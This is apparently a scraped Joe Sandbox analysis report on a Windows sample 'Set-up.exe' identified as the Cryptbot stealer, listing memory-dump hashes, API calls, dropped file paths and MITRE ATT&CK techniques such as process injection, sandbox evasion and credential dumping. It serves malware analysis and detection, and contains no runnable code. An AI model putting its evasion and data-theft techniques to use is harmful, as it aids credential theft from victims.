LeaveCriticalSection.KERNEL32 ref: 6C2FAA0C

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 10eb6d226ed940a24a1b826e1f6ba56b622c89d8b8be6ce771e9c74523267c2b
Instruction ID: 31057cd363eb5cbe0a6d966c971e1d548681b22a4a3f717b146b3483f8400b91
Opcode Fuzzy Hash: 10eb6d226ed940a24a1b826e1f6ba56b622c89d8b8be6ce771e9c74523267c2b
Instruction Fuzzy Hash: 78F0F4B2B4035ACFCB00FF78C5C691ABB74AA45254B060138EDD447604D730E869CBA3

Function 004B1FD0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,004B219B,?,?,?,?,?,004B1818), ref: 004B1FDE
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,004B219B,?,?,?,?,?,004B1818), ref: 004B2005
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,004B219B,?,?,?,?,?,004B1818), ref: 004B200C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,004B219B,?,?,?,?,?,004B1818), ref: 004B202C

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 0d88f04d4903aa3811b5ef51d2c59c345f208b5053b643b040255b34b32367e5
Instruction ID: b5c6ad0a469893e45908a1afad52a20176e1ddca392f0173481319d7554d5241
Opcode Fuzzy Hash: 0d88f04d4903aa3811b5ef51d2c59c345f208b5053b643b040255b34b32367e5
Instruction Fuzzy Hash: 45F0A4B59002048BDB107FBCE9C465B7BA4EE54300F050279DE4857315E774A819CBBA

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Cryptbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ehMlFMzYcqQvKbiEUyBC.dll

C:\Users\user\AppData\Local\Temp\service123.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Windows Analysis Report
Set-up.exe

Function 004B8320 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 101
libraryloaderCOMMON

Function 6C2F14E0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 116
COMMON

Function 004B8370 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 52
libraryloaderCOMMON

Function 004B117C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Function 004B15D0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 116
COMMON

Function 6C30AE52 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Function 004B13D1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Function 004B11B3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Function 004B1170 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Function 6C30ADA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Function 004B12A6 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Function 004B13C3 Relevance: 5.1, APIs: 4, Instructions: 65
stringCOMMON

Function 6C30C690 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 157
COMMON

Function 6C30C800 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 108
COMMON